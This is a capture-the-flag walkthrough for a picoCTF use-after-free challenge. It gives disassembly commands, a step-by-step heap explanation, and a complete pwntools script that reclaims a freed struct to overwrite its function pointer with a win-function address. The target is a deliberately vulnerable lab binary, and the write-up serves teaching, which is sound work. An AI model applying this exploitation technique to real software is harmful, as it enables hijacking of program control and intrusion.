Description
Exploit a use-after-free vulnerability. nc mercury.picoctf.net PORT
Setup
Download the binary and analyze it.
Install pwntools.
Find the port on the instance launch panel and substitute it for <PORT_FROM_INSTANCE>.
wget <url>/vulnchmod +x vulnchecksec vulnpip install pwntoolsSolution
Walk me through it- Step 1Identify the use-after-free vulnerabilityDisassemble vuln (x86-64, little-endian). It allocates a user struct on the heap with an embedded function pointer (whatToDo). The unsubscribe path frees the struct without nulling the global pointer, leaving a dangling reference.bash
objdump -d vuln | grep -A20 '<main>'bashnm vuln | grep haha # find the win symbol hahaexploitgobrrrLearn more
A use-after-free (UAF) bug occurs when the program continues to use a pointer after the memory it points to has been freed. The freed memory can be reclaimed by a subsequent allocation of the same size; whatever the new owner writes there shows through the dangling pointer. See heap exploitation for the broader playbook.
- Step 2Find the function-pointer fire siteThe function pointer typically fires either on a follow-up menu interaction (a 'check status' or 'unsubscribe again' option that calls user_ptr->whatToDo()) or on the free path itself before the pointer is nulled. Trace each menu choice in objdump until you spot the indirect call: call QWORD PTR [rax+0x0].bash
objdump -d vuln | grep -B2 -A1 'call.*\[' - Step 3Reclaim the chunk, overwrite the fn pointerAfter unsubscribe(), send a message of size 8 (or whatever matches the user struct). The malloc reuses the freed chunk. Write p64(hahaexploitgobrrr) as the 8 bytes. The next call through whatToDo lands in the win function.python
python3 - <<'EOF' from pwn import * elf = ELF('./vuln') win = elf.sym['hahaexploitgobrrr'] p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b'>', b'S') # subscribe: malloc(8); whatToDo set p.sendlineafter(b'name:', b'AAAA') p.sendlineafter(b'>', b'U') # unsubscribe: free; pointer not nulled p.sendlineafter(b'>', b'I') # send a message: malloc(8) reuses chunk p.sendlineafter(b'message:', p64(win)) p.sendlineafter(b'>', b'I') # trigger whatToDo through dangling ptr print(p.recvall(timeout=2).decode(errors='ignore')) EOFLearn more
Step-by-step heap state. Both the user struct and the message buffer are 8 bytes (same tcache bin):
(1) Subscribe: user = malloc(8); user->whatToDo = original_handler; heap: [size=0x20 | whatToDo: 0x401234] <- user user_ptr global = &user (2) Unsubscribe: free(user); heap: [size=0x20 | fd: NULL] <- now in tcache[0x20] user_ptr STILL POINTS HERE (dangling) (3) sendMessage: msg = malloc(8); read(fd, msg, 8); // p64(win) tcache[0x20] LIFO -> returns the same chunk heap: [size=0x20 | <win>] user_ptr->whatToDo == win (aliased) (4) Trigger: user_ptr->whatToDo() jumps to hahaexploitgobrrr -> flagEndianness.
p64()emits address bytes little-endian.0x401370goes on the wire as\x70\x13\x40\x00\x00\x00\x00\x00. When the program later reads those 8 bytes back as a function pointer, the CPU reassembles0x401370and indirect-calls there.
Flag
picoCTF{...}
After free(), the memory can be reclaimed by the next malloc of the same size. Writing a function address there overwrites the struct's function pointer through the dangling reference.